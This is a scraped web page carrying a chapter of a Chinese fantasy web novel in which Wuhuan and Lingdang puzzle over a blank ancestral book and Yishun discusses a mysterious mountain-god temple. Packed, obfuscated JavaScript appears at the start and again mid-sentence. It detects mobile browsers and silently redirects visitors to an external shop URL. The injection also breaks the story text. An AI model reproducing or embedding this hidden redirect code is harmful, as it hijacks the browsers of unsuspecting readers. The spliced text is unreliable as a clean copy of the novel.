;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555401|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓣,推门进去了。 * 第二天早上,万事屋还是准时开门。 无欢早上接到了一个跑腿任务,回来的时候一瞬不在家里。他原本以为一瞬是接到什么工作了,结果却在桌上发现了一张字条。 纸条被随手压在一只空茶杯下面,边角微微翘起,角落里还画了一个贱兮兮的笑脸。 无欢拿起字条看了一眼,拧了拧眉,扭头就跑去铃铛家了。 敲开门进去的时候,铃铛正在客厅里整理书架。今天的铃铛穿着一身蓝色的碎花裙,绑着个大麻花辫,看起来俏皮又可爱。 霍斯的巨狼把她家毁了大半,从某方面来说也算是因祸得福。 铃铛早就想改建客厅了,除了资金不到位,其他什么都到位了。霍斯给的赔偿金,她除了购置几件必要的家具,剩下的全买了书。至于原本放在客厅里、被巨狼撕碎的那些旧书,她也没舍得扔。她在女巫药铺买了恢复水,一滴就能把碎裂的书变回原样。一瓶恢复药剂要五枚金币,贵得离谱,但她还是没办法放弃那些已经被翻到泛黄的书页。 铃铛见无欢进来,热情地招呼他:“来,坐。你不来我还正要去找你呢。” 无欢愣了一下:“有委托吗?” “是啊,我定了一批新书,送到物资天梯了。太沉了,就想拜托你帮我跑一趟。”铃铛说。 “物资天梯……”无欢的表情有些犹豫。 蔚莱大陆每一层都有物资天梯。说是天梯,其实更像是一个单向的传送阵,并且只有物品能够通过,人不可以。那些从上层运下来的物资,粮食、布料、书籍,全都会出现在物资天梯,像是一个跨层的快递系统,物品送到后,再由各层的商贩和居民认领带走。 能够通过天梯的物品也是有限的,必须通过审批,并且使用一次就要缴纳十枚金币。这个数字,对于住在高层的人来说只是九牛一毛,可是对于底层的居民来说,就是天价了。即使是现在逐渐富饶起来的二层居民,也很难一口气拿出这么多金币。 所以从某种意义上来说,这个物资天梯就是给上层的那些大爷们行方便的。 天梯是王国的财产,每一座都归官方管辖。这也就意味着,管理物资天梯的人都是吃公粮的。无欢虽然拥有来到二层的通行证,但是他毕竟不是二层的人。 不,严格来说,无欢不属于任何一层。他对于整个蔚莱大陆来说,都是一个外来客,通行证只是给了他通往其他层级的权利,却不是身份。只要有心,想要侦破他的身份并不是难事。 但铃铛这段时间对他很照顾。她开口拜托的事,无欢实在不好推辞。 正在他犹豫着要不要咬牙答应的时候,铃铛忽然摆了摆手:“不过也不急,我才刚刚订购,可能还要过两天才送到呢。” 无欢闻言,肩头几不可见地松了松。那正好,到时候还能拜托一瞬去跑一趟。 铃铛将手上的书归置好,随后朝他望过来:“你急匆匆地过来,找我有什么事吗?” “哦,对了。”无欢这才想起正事,从口袋里那张摸出纸条,递了过去,“我今天工作回来,发现桌上有张字条。我就认出了‘我’字还有‘天’字……哦,还有‘一’。” 铃铛闻言,微微愣了一下,随后笑着接过字条:“你也该告诉一瞬你不认识字的事情了,他都雇佣你了,不会把你辞退的。别看瞬老板抠抠搜搜的,对人还是不错的,要不然大家也不会容忍他这么久。” 无欢嘴角微微动了一下,算是笑,但没有接话。 是,一瞬对人是不错。但架不住他太吝啬了。无欢怕被一瞬知道自己不认字,会克扣他的工资。虽然他现在还没拿到高层的通行证,但攒钱这种事,总归是越早开始越好。 更何况,铃铛现在也在教无欢认字。等他学会那些弯弯绕绕的文字,就能神不知鬼不觉地把这事混过去。到时候谁也不会知道他曾经连一张字条都读不全。 铃铛低头看了一眼纸条,念道:“上面写的是:我有事出趟远门,过两天回来,事务所交给你了。一瞬留。” 她念完了,歪了歪头,脸上露出一点稀奇的神色:“出远门?这二层有什么地方值得他去好几天不回来的?” 16. 历史 “不知道。”无欢回答,“他以前没有出过远门几天不回来的时候吗?” 铃铛想了想,说:“那就不清楚了,瞬老板也不是天天在小镇上瞎晃悠的,只是几天不在的话,没发现也很正常。” “原来如此。”无欢说着在沙发上坐下了。 茶几上还放着上次来时铃铛给他看的那些书,摞得整整齐齐,最上面一本的书角微微翘起,像是被人翻过又合上的。无欢随手拿了一本,翻开几页,眼睛从一行行密密麻麻的字上扫过去,看起来很认真,实际上一页上认识的字没几个,只能挑着认识的阅读。而铃铛则去厨房准备下午茶了。 屋子里一时安静下来。 翻了几页之后,无欢的视线渐渐不再移动了。 他想起昨晚在山洞里的事——一瞬从深渊里爬上来之后的表情,那种刻意的回避和遮掩,太奇怪了。 铃铛回来的时候就见无欢在发呆。 她将准备好的奶茶和小蛋糕放在面前的茶几上,然后拍了拍他的肩膀:“想什么呢?这么投入?” 无欢眨了眨眼睛,如梦初醒:“没什么。在想我昨天和老板去找极光石的事情。” 铃铛在他旁边坐下,顺手把书拿起来搁在腿上,另一只手端起奶茶抿了一口:“那还真是大工程。找到了吗?” “找到了。”无欢说。 铃铛意外的神色。她知道极光石的产量很少,没想到才一天他们就找到了。 “不过,”无欢顿了顿,继续道,“我们在那个矿洞里发现了一个深渊。我不小心掉下去了。” 铃铛手里的茶杯差点没端稳,关切道:“怎么回事?你没受伤吧?!” 无欢摇了摇头:“没事,只是蹭破了点皮而已。但是老板把我捞上来的时候,我发现石壁上还有一个山洞。” 铃铛:“洞中洞中洞?” 无欢:“对,而且我告诉了老板以后,他的态度有些奇怪。后来老板去了洞里,回来以后就变得更加奇怪了。”他说着,想起了在黑暗中看到的木牌,立刻找出张白纸在上写写画画,“我昨天在洞那儿看到了一块牌子,上面写了这几个字。” 铃铛凑近来看。 无欢拧着眉,回忆着木牌上字符的长相,几乎是忆起一笔画再写下一笔画,一会儿在写第一个字,一会儿就在写第三个字了。 直到他放下笔,铃铛才终于能确定不会再变了。 她略有困惑地看着纸上的字,说:“山神庙……?这应该怎么念?山神、庙,还是山、神庙?” “不知道。”无欢说,“我当时和老板说,我没看清牌子上的字,可是老板回来以后和我说,洞里什么东西都没有。” 铃铛的眼睛慢慢眯起来,手指点着下巴,神神叨叨地说:“说谎?这后面一定有问题!” “我也觉得。”无欢说,“但是也没想出来他看到了什么才会让老板的反应这么奇怪。” 铃铛沉吟着思考片刻,随后忽然一拍手,跑到书架旁翻找起来。 “我记得我家有一本书,”她一边翻一边说,“是我太爷爷留给爷爷,爷爷留给我爸,我爸又留给我的……呃,总之就是祖祖辈辈传下来的。上面记录了一些奇闻逸事。” “奇闻逸事?” “唔……应该是吧。我有点记不清了,那本书是我小时候看的,看了一次觉得没意思,就再也没翻过。”她顿了顿,声音从书架后面传过来,“小说里不是写了吗?埋在地下的一般都是宝藏。说不定书上会记着什么。” 说着,她从最上层抽出一本黑色封皮的书。 那本书有板砖那么厚,边角磨得发亮,书边泛黄,封皮上干干净净,没有书名,透着一股说不上来的陈旧感。 无欢看了一眼那厚度,觉得今天应该会是一场酣畅淋漓的阅读盛会。 铃铛抱着书回到沙发上,盘腿坐好,把书往大腿上一架,翻开了第一页。 页面密密麻麻写满了字,墨迹深浅不一,看得出不是魔法印刷的,而是一笔一画手写上去的,字迹十分工整。 无欢盯着那些字看了两秒,放弃了,直接问道:“这上面写了什么?” 铃铛的阅读速度飞快,看了一眼已经把上面的大致内容记下了。她说:“上面写——‘我们好像生活在一个虚无的世界,这个世界是没有历史的。我看过很多小说,好的作品里,作者都会为笔下的世界创造一段历史。主人公过去的故事,这个世界过去的故事。这些设定会让那个幻想出来的世界更丰富,更完整,让不存在的存在更有说服力。但我们身处的这个真实世界,好像是完全相反的。’” 铃铛的声音缓慢悠长,带着一种悠长的质感,像一根线慢慢往人心里钻。 “‘我们这个世界的历史在哪里?文明在哪里?’” 无欢听着听着,也不自觉地安静下来,像是被那个写字的人拽进了他的思考里。 他问:“文明和历史……为什么说这些是缺失的?” 无欢真正进入这个世界其实没多久。蔚莱大陆对于他来说就像一张白纸,起码从他的视角来看,这个世界除了太过美好以外,没有任何问题。 铃铛坦诚道,“我从来没想过这个问题。毕竟我们住在二层,每层之间的信息流通本来就不多。也许高层会有历史……谁知道呢?”她又说,“不过,听说我们二层以前是一片荒地,是一代代人开垦,才慢慢变成了现在这样。如果要说历史的话,这不算是历史吗?” 无欢若有所思地点点头,过了几秒才说:“但这本书是代代传下来的吧?说不定写这本书的人活在那个年代,能获取到的历史信息比我们还少。” “也有道理。”铃铛说。 无欢又问:“后面呢?还写了什么?” 铃铛轻轻“唔”了一声,低头接着看,念道:“上面写——‘希望我未来的子孙,在知道这个世界的历史,又或是……真相后,可以在这本书上记录下来。’” 她念完,伸手向后翻了一页。 两个人同时愣住了。 后面一页竟然是空的。 铃铛不信邪,哗哗地往后翻,可是后面的所有页数都是空的。 铃铛翻到最后一页,确认这本书上没有内容以后,将书本合上,整个人往后一仰。 “我说我怎么对这本书没什么印象,”她盯着天花板,“原来根本没有内容。” 无欢说:“挺好的,起码你现在会对这本书念念不忘了。” * 蔚莱大陆一层,最边缘的枯竹林。 太阳毒得像要把地面烤化。 一瞬在二层的时候很喜欢晒太阳。搬个老藤椅往院子里一搁,阳光温柔,风也温柔,没事的午后,他常常就那么睡着了。 但是一层…… 他也不知道这太阳怎么这么毒,一路走过来,头皮都快被烤化了。他顺手用魔法造了顶草帽,等走到边缘小屋的时候,帽檐上的草叶全被晒蔫了,干巴巴地耷拉着。 这会儿,一瞬用魔法做了张和事务所一样的老藤椅,搬在屋檐下,躺上去翻书。 他一只手垫在脑袋后面,另一只手举着书,正好挡住头顶那片晃眼的阳光。书页在阴影里翻动,发出沙沙的声响。 过了一会儿,萧余阳从一个石窟走出来。 那是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555402|204429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个和北山深渊里的山神庙一模一样的石窟。被岩石挡着的木头柱子,木牌上刻着的“山神庙”,石窟里的壁画和神像,全和那个深渊中的情形分毫不差。 一瞬翻过一页,听到脚步声头也不抬:“怎么样?” “什么怎么样?”萧余阳说。 一瞬不耐烦地“啧”了一声:“当然是问你有没有什么看法啊,谁让你反问我了?那个神像和你在七层看到的一样吗?” “不一样。”萧余阳摇了摇头,直接席地而坐,随手拿了根正在晒的竹棍开始打磨,慢悠悠地说,“我当时看到的神像很慈祥,不像这个,这么有攻击性。而且那个神像是正站着的,不像这个,像是随时要砸死哪个可怜的信徒。” “那你觉得……这个神像是怎么回事?”一瞬这才放下书,坐起身望向他。 萧余阳说:“你说这个洞窟是在没人居住的地界的深渊里找到的,或许是‘他’没有排查到这里。” “你是说……这个石窟是漏网之鱼?”一瞬皱起眉。 “很有可能。”萧余阳说,“不过如果这座庙真的是古时候传下来的,壁画上画的应该是某个时期发生的事情。” 一瞬说:“是,当时的人甚至还是有信仰的。” 萧余阳说:“壁画上的人神情看起来都很痛苦,你确定没有记错吗?” “拜托,不要质疑我的专业能力好吗?”一瞬说完,面前的空气忽然波动起来,转眼间就冒出一根带着新叶的小枝条。 枝条往萧余阳的方向一甩,翻滚着打了过去。 萧余阳听到动静,转过脑袋。他的眼睛被白布遮着,但是一瞬明显感觉到他在看自己的方向。 下一秒,那根枝条还没碰到萧余阳,就在半空中碎成了粉末。紧接着,一瞬身下的藤椅也跟着崩解,像沙子堆起来的一样,从扶手到椅腿,一点一点往下塌,最后整张椅子化成了一地灰烬。 风扬起那团灰,扑了萧余阳一脸。他白布的尾带和一头长发被风带起来,飘飘悠悠地往后扬。 一瞬扑通摔到地上,痛得哎哟直叫。 萧余阳没搭理他,肩膀一耸:“活该。” 一瞬龇牙咧嘴地爬起来,气得不行:“你能不能克制点?我还在这儿呢,就把我的椅子拆了!” 萧余阳无辜道:“这我也控制不了啊。”见一瞬还要发作,他连忙继续往下说,“不过,按正常的逻辑来说,信仰这东西——虽然咱们这个世界也没人信这个——但既然古时候的人刻了神像、修了庙,总该是从里头得到点什么慰藉才对吧?就算是信奉邪神,参拜的时候也不该露出痛苦的表情吧。” 一瞬果然被带跑偏了,认真思索起来:“这也是我想不通的地方。我有想过,可能七层和二层的文化基调不一样。二层毕竟以前和一层一样,说它是个有海的贫民窟也不过分。住在二层的人很痛苦,做出这种神像也无可厚非。” “你在二层遇到过有信仰的人吗?” “没有。”一瞬摇了摇头。 萧余阳闻言,放下了手中的竹棍,沉默了片刻才道:“如果二层人民真是靠信仰神像才过上现在的安稳生活,就算岁月变迁,多多少少也会有人觉得现状和他们供奉的‘神明’脱不开干系。即使供奉停止了,那个‘神明’应该会被当作一段佳话流传下来才对。” 一瞬没了椅子,只能苦哈哈地站在烈日底下。他把书盖在脑袋上挡太阳,说:“你是说,这个石庙可能是上个国度留下来的东西,和现在的二层人民不相干?” 他顿了顿,脸上的表情慢慢从思索变成空白。 “可是……上一个国度是什么东西?”一瞬说。